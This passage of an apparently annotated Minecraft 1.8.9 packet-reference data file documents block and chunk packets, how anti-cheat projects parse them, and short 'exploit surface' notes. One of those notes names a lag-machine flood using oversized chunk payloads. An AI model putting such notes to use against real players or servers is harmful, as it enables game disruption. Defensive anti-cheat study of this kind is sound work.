ToolType.SPADE);\n            blocks.put(Material.PODZOL, ToolType.SPADE);\n        }\n        if (ServerVersion.compareMinecraftVersion(\"1.17\") >= 0) {\n            blocks.put(Material.ROOTED_DIRT, ToolType.SPADE);\n        }\n        return blocks;\n    }\n\n    /**\n     * Register actual listener(s).\n     */\n    public void register() {\n        // TODO: Replace 'if (enabled)' by actually unregistering the listeners.\n        final NoCheatPlusAPI api = NCPAPIProvider.getNoCheatPlusAPI();\n        for (final MiniListener<?> listener : miniListeners) {\n            api.addComponent(listener);\n        }\n    }\n\n    public void setEnabled(boolean enabled) {\n        this.enabled = enabled;\n    }\n\n    public boolean isEnabled() {\n        return enabled;\n    }\n\n    private BlockFace getDirection(final Block pistonBlock) {\n        // TODO: Register/store a fetcher thing (DirectionalFromBlock)\n        if (is1_13) {\n            final BlockData data = pistonBlock.getState().getBlockData();\n            if (data instanceof org.bukkit.block.data.Directional) {\n                org.bukkit.block.data.Directional directional = (org.bukkit.block.data.Directional) data;\n                return directional.getFacing();\n            }\n            return null;\n        }\n        final MaterialData data = pistonBlock.getState().getData();\n        if (data instanceof Directional) {\n            Directional directional = (Directional) data;\n            return directional.getFacing();\n        }\n        return null;\n    }\n\n    /**\n     * Get the direction, in which blocks are or would be moved (towards the piston).\n     * \n     * @param pistonBlock\n     * @param eventDirection\n     * @return\n     */\n    private BlockFace getRetractDirection(final Block pistonBlock, final BlockFace eventDirection) {\n        // Tested for pistons directed upwards.\n        // TODO: Test for pistons directed downwards, N, W, S, E.\n        // TODO: distinguish sticky vs. not sticky.\n        final BlockFace pistonDirection = getDirection(pistonBlock);\n        if (pistonDirection == null) {\n            return eventDirection;\n        }\n        else {\n            return eventDirection.getOppositeFace();\n        }\n    }\n\n    private void onPistonExtend(final BlockPistonExtendEvent event) {\n        final BlockFace direction = event.getDirection();\n        tracker.addPistonBlocks(event.getBlock().getRelative(direction), direction, event.getBlocks());\n    }\n\n    private void onPistonRetract(final BlockPistonRetractEvent event) {\n        final List<Block> blocks;\n        if (retractHasBlocks) {\n            blocks = event.getBlocks();\n        }\n        else {\n            @SuppressWarnings(\"deprecation\")\n            final Location retLoc = event.getRetractLocation();\n            if (retLoc == null) {\n                blocks = null;\n            }\n            else {\n                final Block retBlock = retLoc.getBlock();\n                final long flags = BlockFlags.getBlockFlags(retBlock.getType());\n                if ((flags & F_MOVABLE_IGNORE) == 0L && (flags & F_MOVABLE) != 0L) {\n                    blocks = new ArrayList<Block>(1);\n                    blocks.add(retBlock);\n                }\n                else {\n                    blocks = null;\n                }\n            }\n        }\n        // TODO: Special cases (don't push upwards on retract, with the resulting location being a solid block).\n        final Block pistonBlock = event.getBlock();\n        final BlockFace direction = getRetractDirection(pistonBlock, event.getDirection());\n        tracker.addPistonBlocks(pistonBlock.getRelative(direction.getOppositeFace()), direction, blocks);\n    }\n\n    private void onBlockRedstone(final BlockRedstoneEvent event) {\n        final int oldCurrent = event.getOldCurrent();\n        final int newCurrent = event.getNewCurrent();\n        if (oldCurrent == newCurrent || oldCurrent > 0 && newCurrent > 0) {\n            return;\n        }\n        // TODO: Fine grained enabling state (pistons, doors, other).\n        final Block block = event.getBlock();\n        // TODO: Abstract method for a block and a set of materials (redstone, interact, ...).\n        if (block == null \n            || (BlockFlags.getBlockFlags(block.getType()) & BlockFlags.F_VARIABLE_REDSTONE) == 0) {\n            return;\n        }\n        addRedstoneBlock(block);\n    }\n\n    private void addRedstoneBlock(final Block block) {\n        addBlockWithAttachedPotential(block, BlockFlags.F_VARIABLE_REDSTONE);\n    }\n\n    private void onEntityChangeBlock(final EntityChangeBlockEvent event) {\n        final Block block = event.getBlock();\n        if (block != null) {\n            tracker.addBlocks(block); // E.g. falling blocks like sand.\n        }\n    }\n\n    private void onPlayerInteract(final PlayerInteractEvent event) {\n        // Check preconditions.\n        final org.bukkit.event.block.Action action = event.getAction();\n        if (action == org.bukkit.event.block.Action.RIGHT_CLICK_BLOCK) {\n            onRightClickBlock(event);\n        }\n        else if (!event.isCancelled()) {\n            if (action == org.bukkit.event.block.Action.PHYSICAL) {\n                onInteractPhysical(event);\n            }\n        }\n    }\n\n    private void onInteractPhysical(final PlayerInteractEvent event) {\n        final Block block = event.getClickedBlock();\n        if (block != null) {\n            final Material type = block.getType();\n            // TODO: Consider a flag.\n            if (type == BridgeMaterial.FARMLAND) {\n                tracker.addBlocks(block);\n            }\n        }\n    }\n\n    @SuppressWarnings(\"deprecation\")\n    private void onRightClickBlock(final PlayerInteractEvent event) {\n        final Result result = event.useInteractedBlock();\n        if ((result == Result.ALLOW \n            || result == Result.DEFAULT && !event.isCancelled())) {\n            final Block block = event.getClickedBlock();\n            if (block != null) {\n                final Material type = block.getType();\n                // Dirt\n                final ToolType blocktool = dirtblocks.get(type);\n                if (blocktool != null) {\n                    final ToolProps tool = BlockProperties.getToolProps(event.getItem());\n                    if (is1_13) {\n                        if (tool.toolType == ToolType.SPADE \n                            || blocktool == tool.toolType) {\n                            tracker.addBlocks(block);\n                        }\n                    } \n                    else {\n                        final boolean defdata = block.getData() == 0;\n                        if (is1_9 && type == BridgeMaterial.GRASS_BLOCK && tool.toolType == ToolType.SPADE \n                            || defdata && tool.toolType == ToolType.HOE) {\n                            tracker.addBlocks(block);\n                        }\n                    }\n                }\n\n                if ((BlockFlags.getBlockFlags(type) & BlockFlags.F_VARIABLE_USE) != 0L) {\n                    addBlockWithAttachedPotential(block, BlockFlags.F_VARIABLE_USE);\n                }\n            }\n        }\n    }\n\n    private void onBlockForm(final BlockFormEvent event) {\n        final Block block = event.getBlock();\n        if (block != null) {\n            // TODO: Filter by player activity.\n            tracker.addBlocks(block);\n        }\n    }\n\n    /**\n     * Add a past state for this block, extending for the other block in case of\n     * doors. This is for the case of interaction or redstone level change.\n     * \n     * @param block\n     * @param relevantFlags\n     */\n    private void addBlockWithAttachedPotential(final Block block, final long relevantFlags) {\n        if (is1_13) {\n            final BlockData data = block.getState().getBlockData();\n            if (data instanceof org.bukkit.block.data.type.Door) {\n                org.bukkit.block.data.type.Door door = (org.bukkit.block.data.type.Door) data;\n                final Block otherBlock = block.getRelative(door.getHalf() == Half.TOP ? BlockFace.DOWN : BlockFace.UP);\n                /*\n                 * TODO: In case of redstone: Double doors... detect those too? Is it still more\n                 * efficient than using BlockPhysics with lazy delayed updating\n                 * (TickListener...). Hinge corner... possibilities?\n                 */\n                if (otherBlock != null // Top of the map / special case.\n                    && (BlockFlags.getBlockFlags(otherBlock.getType()) & relevantFlags) != 0) {\n                    tracker.addBlocks(block, otherBlock);\n                    return;\n                }\n            }\n        } \n        // Legacy\n        else {\n            final MaterialData materialData = block.getState().getData();\n            if (materialData instanceof Door) {\n                final Door door = (Door) materialData;\n                final Block otherBlock = block.getRelative(door.isTopHalf() ? BlockFace.DOWN : BlockFace.UP);\n                /*\n                 * TODO: In case of redstone: Double doors... detect those too? Is it still more\n                 * efficient than using BlockPhysics with lazy delayed updating\n                 * (TickListener...). Hinge corner... possibilities?\n                 */\n                if (otherBlock != null // Top of the map / special case.\n                    && (BlockFlags.getBlockFlags(otherBlock.getType()) & relevantFlags) != 0) {\n                    tracker.addBlocks(block, otherBlock);\n                    return;\n                }\n            }\n        }\n        // Only add the block in question itself.\n        tracker.addBlocks(block);\n    }\n\n}\n// NOTE (AI): The S22 and S23 corpus hits are shared: the listener feeds both packet-driven and event-driven changes into one tracker.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/compat/blocks/changetracker/BlockChangeListener.java",
       "variations": "Grim CompensatedWorld and Hydro WorldTracker apply S23 changes with transaction accuracy; AntiHaxerman's NetworkFilter whitelists the S23 packet (GPacketPlayServerBlockChange) so its pipeline processes block changes while dropping other traffic."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x23: BlockPos packed long plus VarInt block state ID.",
    "State ID follows global palette: type is id right-shift 4 and meta is id and 15.",
    "Single-block correction; bulk edits use S21 chunk data or S22 multi change.",
    "MCP 1.8.9 S23PacketBlockChange implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleBlockChange; wire serde is readPacketData/writePacketData via readBlockPos, readVarIntFromBuffer.",
    "1.8.9 callers: NetHandlerPlayServer.processPlayerDigging sends new S23PacketBlockChange (line 547) +2 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/network/NetHandlerPlayServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S23PacketBlockChange/",
   "mcp_path": "net/minecraft/network/play/server/S23PacketBlockChange.java",
   "group": "play-client",
   "logic_classes": [
    "NetHandlerPlayServer",
    "PlayerManager",
    "ItemInWorldManager"
   ]
  },
  {
   "id": "S24PacketBlockAction",
   "hex": "0x24",
   "dec": 36,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Block Action",
   "desc": "Triggers a block action animation/event (chest open, piston extend, note block play, etc.).",
   "tags": [
    "world",
    "block",
    "animation"
   ],
   "fields": [
    {
     "name": "pos",
     "type": "BlockPos",
     "desc": "Block position"
    },
    {
     "name": "actionData1",
     "type": "byte",
     "desc": "Action type ID"
    },
    {
     "name": "actionData2",
     "type": "byte",
     "desc": "Action parameter"
    },
    {
     "name": "blockType",
     "type": "Block",
     "desc": "Block type ID"
    }
   ],
   "encoding": [
    [
     "Block Position",
     "BlockPos (long)",
     ""
    ],
    [
     "Byte 1",
     "byte",
     "Action type"
    ],
    [
     "Byte 2",
     "byte",
     "Action param"
    ],
    [
     "Block Type",
     "VarInt",
     "Block ID"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleBlockAction()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Block actions: chest open/close, piston extend/retract, note block note, door open, dispenser click, etc.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S24 is a block-level event trigger: chest open/close, piston extend/retract, note block note, dispenser click, door open, beacon power. It carries a BlockPos, two action bytes (event ID and parameter) and the block type. The server broadcasts it from WorldServer's block-event queue (line 934 in the 1.8.9 corpus) to every player within 64 blocks of the position via sendToAllNear, which means it is a proximity event, not a per-player one."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleBlockAction calls PacketThreadUtil.func_180031_a then world.addBlockEvent(pos, blockType, data1, data2), which fans out to every IWorldAccess (render global, sound handler). The action bytes are interpreted per block: BlockChest uses data1 for open state, BlockNote uses data1 as the pitch index, BlockPiston uses data1 as the direction and data2 as extend/retract. The block type field is a cross-check; the client only plays the event if the local block matches."
     },
     {
      "h": "Why clients touch it",
      "p": "Zero module hits in the 8-client corpus. The only non-vanilla reference is Rise 6.x's script API (NetworkAPI.java), which registers the packet class so Lua scripts can listen, not a shipped module. The reason is structural: S24 describes transient animations, and every piece of information it carries (chest open state, piston position) is already derivable from the block state or from S23 block changes, so ESP and chest modules read the world instead of the packet stream."
     },
     {
      "h": "Exploit surface",
      "p": "S24 is entirely cosmetic and server-trusted, so there is no meaningful exploit surface. The 64-block broadcast radius is the only measurable property, and it is too coarse for tracking. A malicious server could spam S24 with garbage data bytes, but the vanilla handler bounds the damage to a single addBlockEvent call per packet, and the local-block cross-check drops mismatches, so there is no crash or desync primitive."
     }
    ],
    "overview": "A cosmetic block-event trigger (chests, pistons, note blocks) broadcast within 64 blocks. No module in the 8 clients consumes it; the only non-vanilla reference is Rise 6.x's scripting API registration. Every fact it carries is derivable from block state, which is why clients ignore it.",
    "server_handling": "WorldServer keeps a BlockEventData queue; each tick it drains entries and sends S24 via mcServer.getConfigurationManager().sendToAllNear(x, y, z, 64.0D, dimensionId, packet). The 64.0 range is hardcoded in the server handler, matching the client's sound-render distance for block events. No rate limiting, no validation of the action bytes.",
    "protocol_notes": "Wire format: BlockPos long, byte action ID, byte action parameter, VarInt block registry ID. The block type is read as a full Block object server-side via Block.getBlockById. The two bytes are raw event semantics decided by the block class, so the same byte values mean different things for a chest vs a piston.",
    "anticheat_landscape": "Not monitored. Block-action packets carry no player motion, timing or position claims, so anti-cheats ignore them entirely. The only conceivable use is a server-side sanity check that a piston event is accompanied by an actual piston block change, which no major anti-cheat implements for 1.8.9.",
    "modules": [],
    "general_hooks": "PacketReceiveEvent exists on all clients but no module registers for S24 in the corpus.",
    "client_variations": "All 8 clients keep the vanilla handler. Rise 6.1.30 and 6.2.4 additionally expose S24 in their script NetworkAPI, which is a class-registration table, not module code.",
    "related": [
     "S28PacketEffect",
     "S23PacketBlockChange"
    ],
    "anticheat": {
     "overview": "The block-action packet (chest open, piston, note block) has a single corpus hit: Artemis registers a GPacketPlayServerBlockAction wrapper in its packet library so the abstraction layer can route the clientbound packet. The wrapper is a read-stub: its read() body is empty, and no Artemis check consumes the packet. No anticheat flags S24 or derives state from it, because it carries transient animation data with no movement, timing or position claim.",
     "checks": [
      {
       "name": "Packet wrapper registration (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Register the block-action packet in Artemis's packet abstraction so clientbound traffic of this type is recognized by the pipeline.",
       "how_it_works": "GPacketPlayServerBlockAction extends GPacket and is linked to the PacketPlayServerBlockAction interface via @PacketLink. The read() method is empty, so the wrapper decodes no fields; it exists purely so the packet has a typed class in the cc.ghast.packet wrapper tree. No check in the corpus reads its payload.",
       "detects": "Nothing. The entry documents the only anticheat touch point for S24: packet-library plumbing, not detection logic.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerBlockAction.java =====\npackage cc.ghast.packet.wrapper.packet.play.server;\n\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport ac.artemis.packet.spigot.protocol.PacketLink;\nimport ac.artemis.packet.wrapper.server.PacketPlayServerBlockAction;\nimport cc.ghast.packet.buffer.ProtocolByteBuf;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.ReadableBuffer;\n\nimport java.util.UUID;\n\n@PacketLink(PacketPlayServerBlockAction.class)\npublic class GPacketPlayServerBlockAction extends GPacket implements PacketPlayServerBlockAction, ReadableBuffer  {\n    public GPacketPlayServerBlockAction(UUID player, ProtocolVersion version) {\n        super(\"PacketPlayOutBlockAction\", player, version);\n    }\n\n    @Override\n    public void read(ProtocolByteBuf byteBuf) {\n    }\n}\n\n// NOTE (AI): The empty read() means Artemis never inspects block-action payloads; this file is the full extent of S24 handling in the corpus.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerBlockAction.java",
       "variations": "No other anticheat in the corpus references S24PacketBlockAction or PacketPlayOutBlockAction."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x24: BlockPos plus byte action ID, byte parameter and VarInt block type.",
    "Same bytes mean different things per block: chest lid, piston direction, note pitch.",
    "Broadcast to players within 64 blocks; client ignores it if local block type mismatches.",
    "MCP 1.8.9 S24PacketBlockAction implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleBlockAction; wire serde is readPacketData/writePacketData via readBlockPos, readUnsignedByte, readVarIntFromBuffer.",
    "1.8.9 callers: WorldServer.sendQueuedBlockEvents sends new S24PacketBlockAction (line 1052): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/world/WorldServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S24PacketBlockAction/",
   "mcp_path": "net/minecraft/network/play/server/S24PacketBlockAction.java",
   "group": "play-client",
   "logic_classes": [
    "WorldServer"
   ]
  },
  {
   "id": "S25PacketBlockBreakAnim",
   "hex": "0x25",
   "dec": 37,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Block Break Animation",
   "desc": "Shows block break progress (crack stages 0-9) on a block. Sent by all players, not just the miner.",
   "tags": [
    "world",
    "block",
    "animation"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity breaking the block (-1 = stop animation)"
    },
    {
     "name": "pos",
     "type": "BlockPos",
     "desc": "Block position"
    },
    {
     "name": "stage",
     "type": "byte",
     "desc": "Break stage (0-9, 10 = reset)"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     "-1 to stop"
    ],
    [
     "Block Position",
     "BlockPos (long)",
     ""
    ],
    [
     "Stage",
     "byte",
     "0-9, 10=reset"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleBlockBreakAnim()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S25 streams block-break progress: an entity ID (the breaker), a BlockPos, and a stage byte 0-9, with stage 10 (or entity ID -1) resetting the crack animation. WorldManager sends it to every player within 64 blocks of the broken block (corpus line 101), so other players see the crack overlay grow while someone mines. The client stores the per-position stage in WorldClient's damagedBlocks map and renders the crack texture at that stage."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleBlockBreakAnim dispatches through PacketThreadUtil and calls world.sendBlockBreakProgress(entityId, pos, stage), which updates the damagedBlocks map and re-renders the affected block faces. The animation is purely client-side state; the server never asks for an echo and never verifies the client saw it. A new S25 for the same position simply overwrites the previous stage."
     },
     {
      "h": "Why clients touch it",
      "p": "Zero module hits in the 8-client corpus; only Rise 6.x's script NetworkAPI registers the class. XRay-style clients that suppress block rendering could in principle use S25 to hide crack overlays on ores, but none of the 8 clients do. The information is redundant for gameplay: the stage sequence is a faithful timing signal of another player's mining progress, yet no ESP or radar module in the corpus consumes it."
     },
     {
      "h": "Exploit surface",
      "p": "No meaningful surface. S25 is server-originated, unacknowledged, and its only effect is a texture overlay. The stage bytes are never validated by the client, but the worst a hostile server achieves is drawing a crack texture on a block. The one theoretical client-side value is latency inference: the rate of stage increments for a nearby miner is a coarse tick/ping signal, which is why the packet is occasionally mentioned in anticheat research, though no corpus module uses it."
     }
    ],
    "overview": "The break-progress animation stream (crack stages 0-9 per block). Zero modules in the 8 clients consume it; the only non-vanilla reference is Rise 6.x's scripting API registration. Its data is redundant with block-change state and it carries no exploitable claim.",
    "server_handling": "WorldManager.func_180441_b (world-wide broadcast path) sends S25 to players within 64 blocks of the block being mined, keyed by the breaker's entity ID. The server emits a fresh packet per stage change as the player's digging progress advances, then a stage-10 reset when mining completes or is aborted. No validation of the breaker entity or the target block.",
    "protocol_notes": "Wire format: VarInt entity ID (breaker), BlockPos long, byte stage. Stage 10 means reset/stop; the client also handles entity ID -1 as a reset. Because the handler overwrites damagedBlocks per position, out-of-order packets from a laggy server simply land on the latest stage, which is a self-healing property of the animation state.",
    "anticheat_landscape": "Not flagged. The packet exposes only animation state and cannot be spoofed client-side in a useful direction. Server-side, anti-cheats ignore it entirely; the only adjacent check is on the digging packets (C07) that precede it.",
    "modules": [],
    "general_hooks": "PacketReceiveEvent is available on all clients; none of the 8 register for S25.",
    "client_variations": "Vanilla handler in all 8 clients. Rise 6.1.30/6.2.4 add the class to their script NetworkAPI table only.",
    "related": [
     "S23PacketBlockChange",
     "C07PacketPlayerDigging"
    ],
    "anticheat": {
     "overview": "The block-break-animation packet has a single corpus hit: Artemis registers a GPacketPlayServerBlockBreakAnimation wrapper so its packet library recognizes the clientbound packet. No check reads it; the break stage sequence is redundant with the digging packets (C07) that anticheats actually monitor. The packet is unacknowledged, server-authored animation state, so no anticheat flags it.",
     "checks": [
      {
       "name": "Packet wrapper registration (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Give the block-break-animation packet a typed wrapper in Artemis's packet abstraction so the pipeline can dispatch it if any module ever needs it.",
       "how_it_works": "GPacketPlayServerBlockBreakAnimation extends GPacket, implements ReadableBuffer, and is linked to PacketPlayServerBlockBreakAnimation via @PacketLink. Its read() decodes the packet into entityId, position and stage fields, but no check in the corpus consumes those fields. The wrapper is infrastructure, not a detection.",
       "detects": "Nothing directly. The adjacent detection surface is the C07 digging packet that precedes S25 on the server side.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerBlockBreakAnimation.java =====\npackage cc.ghast.packet.wrapper.packet.play.server;\n\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport ac.artemis.packet.spigot.protocol.PacketLink;\nimport ac.artemis.packet.wrapper.server.PacketPlayServerBlockBreakAnimation;\nimport cc.ghast.packet.buffer.ProtocolByteBuf;\nimport cc.ghast.packet.wrapper.bukkit.BlockPosition;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.ReadableBuffer;\n\nimport java.util.UUID;\n\n@PacketLink(PacketPlayServerBlockBreakAnimation.class)\npublic class GPacketPlayServerBlockBreakAnimation extends GPacket implements PacketPlayServerBlockBreakAnimation, ReadableBuffer {\n    public GPacketPlayServerBlockBreakAnimation(UUID player, ProtocolVersion version) {\n        super(\"PacketPlayOutBlockBreakAnimation\", player, version);\n    }\n\n    private int entityId;\n    private BlockPosition position;\n    private int destroyStage;\n\n    @Override\n    public void read(ProtocolByteBuf byteBuf) {\n        this.entityId = byteBuf.readVarInt();\n\n        if (version.isAbove(ProtocolVersion.V1_7_10)) {\n            this.position = byteBuf.readBlockPositionFromLong();\n        } else {\n            int x = byteBuf.readInt();\n            int y = byteBuf.readInt();\n            int z = byteBuf.readInt();\n            this.position = new BlockPosition(x, y, z);\n        }\n        \n        this.destroyStage = byteBuf.readUnsignedByte();\n    }\n}\n\n// NOTE (AI): The wrapper parses entityId, position and stage but nothing in the corpus reads them; S25 handling stops at packet-library registration.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerBlockBreakAnimation.java",
       "variations": "No other anticheat in the corpus references S25PacketBlockBreakAnim or PacketPlayOutBlockBreakAnimation."
      }
     ]
    }
   },
   "wiki_notes": [
    "Stages 0 through 9 are displayable destroy stages and any other stage value removes the animation, break animations can be applied even on air, simultaneous animations need unique entity IDs that do not have to belong to real entities, and removal must reuse the ID that set the animation.",
    "MCP 1.8.9 S25PacketBlockBreakAnim implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleBlockBreakAnim; wire serde is readPacketData/writePacketData via readBlockPos, readUnsignedByte, readVarIntFromBuffer.",
    "1.8.9 callers: WorldManager.sendBlockBreakProgress sends new S25PacketBlockBreakAnim (line 108): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/world/WorldManager.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S25PacketBlockBreakAnim/",
   "mcp_path": "net/minecraft/network/play/server/S25PacketBlockBreakAnim.java",
   "group": "play-client",
   "logic_classes": [
    "WorldManager"
   ]
  },
  {
   "id": "S26PacketMapChunkBulk",
   "hex": "0x26",
   "dec": 38,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Map Chunk Bulk",
   "desc": "Sends multiple chunks at once. Used for initial world load and large area updates.",
   "tags": [
    "world",
    "chunk"
   ],
   "fields": [
    {
     "name": "chunks",
     "type": "Chunk[]",
     "desc": "Array of chunk data with X/Z/bitmask/compressed data"
    },
    {
     "name": "skyLightSent",
     "type": "boolean",
     "desc": "Whether skylight data is included"
    }
   ],
   "encoding": [
    [
     "Sky Light",
     "bool",
     "Includes skylight"
    ],
    [
     "Column Count",
     "VarInt",
     ""
    ],
    [
     "Per Column",
     "int,int,short,VarInt,byte[]",
     "X, Z, bitmask, dataSize, compressed data"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleMapChunkBulk()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "S26 is the bulk version of S21, sending many chunks in a single packet. Used on world join and loading large areas. XRay modules also cancel S26 alongside S21 to prevent chunk updates.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S26 is the bulk chunk loader: one packet carrying many chunk columns with a shared sky-light flag. Each column is x/z ints, a 16-bit section bitmask, a VarInt data size, then the compressed section data. The server builds it in EntityPlayerMP when a player joins or moves between chunk groups (corpus line 330), batching all newly-loaded columns so the client can decode them in one pass. It is the load-bearing packet for world join and teleport."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleMapChunkBulk loops the columns, calls doPreChunk to mark each as loaded, invalidates the block receive region, then reads each chunk via the shared PacketUtil.readCompressed path and loads it into the world. Sky-light presence is decided once per packet by the boolean flag. The client then re-renders the whole batch; on 1.8.9 this is one of the few handlers that visibly blocks the render thread while decompressing."
     },
     {
      "h": "Why clients touch it",
      "p": "Zero module hits in the 8-client corpus. The only non-vanilla reference is Rise 6.x's script NetworkAPI class registration. The packet metadata for S26 mentions XRay cancelling bulk chunks, but in these 8 clients no XRay module references S26PacketMapChunkBulk at all (Tenacity's XRay touches S21PacketChunkData, not S26). The absence is practical: cancelling S26 on a join breaks the world wholesale, and the ores an XRay wants to hide are already filtered in the chunk-render path, not at the packet layer."
     },
     {
      "h": "Exploit surface",
      "p": "The real abuse surface is server-to-client: a malicious server can send an S26 with an enormous uncompressed payload or a huge column count to stall the client's decompression loop, a classic 1.8 lag-machine vector. Client-side there is nothing to exploit; the packet is inbound truth. Chunk-banning clients that want to blank specific regions do it by editing the column bitmask before the vanilla handler runs, which no module in this corpus implements for S26."
     }
    ],
    "overview": "The bulk chunk-load packet used on join and teleport. Zero modules in the 8 clients consume it; the only non-vanilla reference is Rise 6.x's scripting API registration. Its payload is inbound world truth, and the exploitable direction is server to client.",
    "server_handling": "EntityPlayerMP gathers pending ChunkCoordIntPair columns and constructs S26 when the load queue is flushed. The sky-light boolean is set once from the world's dimension provider. There is no per-packet size cap in vanilla; the server trusts its own chunk generation. A client can request chunks (C03 position movement) but cannot dictate the bulk layout.",
    "protocol_notes": "Wire format: boolean skyLightSent, VarInt column count, then per column: int x, int z, short bitmask, VarInt data length, compressed byte[]. The bitmask is a 16-bit section selector; sections absent from the mask are inherited from the previous chunk state. The compressed payload is zlib via PacketUtil.readCompressed, with the data length prefix on the wire.",
    "anticheat_landscape": "No anti-cheat inspects S26 content; it is inbound and unspoofable. The relevant protection is on the client: crash-patch modules that bound the column count or payload size. None of the 8 clients ship one for S26 specifically; Tenacity's AntiExploit covers explosion and particle floods instead.",
    "modules": [],
    "general_hooks": "PacketReceiveEvent on all clients; no module registers for S26 in the corpus.",
    "client_variations": "All 8 clients keep the vanilla handler. Rise 6.1.30/6.2.4 expose S26 in the script NetworkAPI table only. Tenacity's XRay/Search chunk filtering is done against S21PacketChunkData, not S26.",
    "related": [
     "S21PacketChunkData",
     "S22PacketMultiBlockChange"
    ],
    "anticheat": {
     "overview": "S26 is the bulk chunk variant of S21 used by 1.7 and 1.8 servers: one packet carries several chunk columns with a shared skylight flag. Anticheats treat it exactly like the single-chunk packet: the bytes are decoded into the compensated world (Grim PacketWorldReaderEight handleMapChunkBulk, Intave MapChunkBulkReader, Kauri World update via ChunkDataBulk, Truthful CompensatedWorld via the global chunk cache), and the same xray and world-downloader protections apply (Photon WorldDownloaderSentinel). The corpus for S26 is therefore the replication pipeline with bulk-specific readers.",
     "checks": [
      {
       "name": "PacketWorldReaderEight map-chunk-bulk (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Decode the S26 bulk packet into Grim's compensated world, column by column.",
       "how_it_works": "handleMapChunkBulk reads the skylight boolean, column count, and per-column x/z and section masks, then for each column decodes the 16 sections with the 1.8 palette reader, skips the 256 biome bytes plus 2048 block-light (and 2048 sky-light when the flag is set) per section, and merges the column into the compensated world cache with the transaction id. The dispatch lives in BasePacketWorldReader, which routes chunk-data-bulk packets here.",
       "detects": "Feeds the ground, collision and phase simulation the same way handleMapChunk does for S21; bulk loading cannot bypass the cache.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/worldreader/PacketWorldReaderEight.java =====\npackage ac.grim.grimac.events.packets.worldreader;\n\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.world.chunk.impl.v1_16.Chunk_v1_9;\nimport com.github.retrooper.packetevents.protocol.world.chunk.palette.DataPalette;\nimport com.github.retrooper.packetevents.protocol.world.chunk.palette.ListPalette;\nimport com.github.retrooper.packetevents.protocol.world.chunk.palette.PaletteType;\nimport com.github.retrooper.packetevents.protocol.world.chunk.storage.BitStorage;\nimport com.github.retrooper.packetevents.wrapper.PacketWrapper;\nimport io.netty.buffer.ByteBuf;\n\nimport java.util.BitSet;\n\npublic class PacketWorldReaderEight extends BasePacketWorldReader {\n    @Override\n    public void handleMapChunkBulk(final GrimPlayer player, final PacketSendEvent event) {\n        PacketWrapper<?> wrapper = new PacketWrapper<>(event);\n        ByteBuf buffer = (ByteBuf) wrapper.getBuffer();\n\n        boolean skylight = wrapper.readBoolean();\n        int columns = wrapper.readVarInt();\n        int[] x = new int[columns];\n        int[] z = new int[columns];\n        int[] mask = new int[columns];\n\n        for (int column = 0; column < columns; column++) {\n            x[column] = wrapper.readInt();\n            z[column] = wrapper.readInt();\n            mask[column] = wrapper.readUnsignedShort();\n        }\n\n        for (int column = 0; column < columns; column++) {\n            BitSet bitset = BitSet.valueOf(new long[]{mask[column]});\n            Chunk_v1_9[] chunkSections = new Chunk_v1_9[16];\n            readChunk(buffer, chunkSections, bitset);\n\n            // 256 is the biome data at the end of the array\n            // 2048 is blocklight\n            // 2048 is skylight, which is determined by the first boolean sent\n            int chunks = 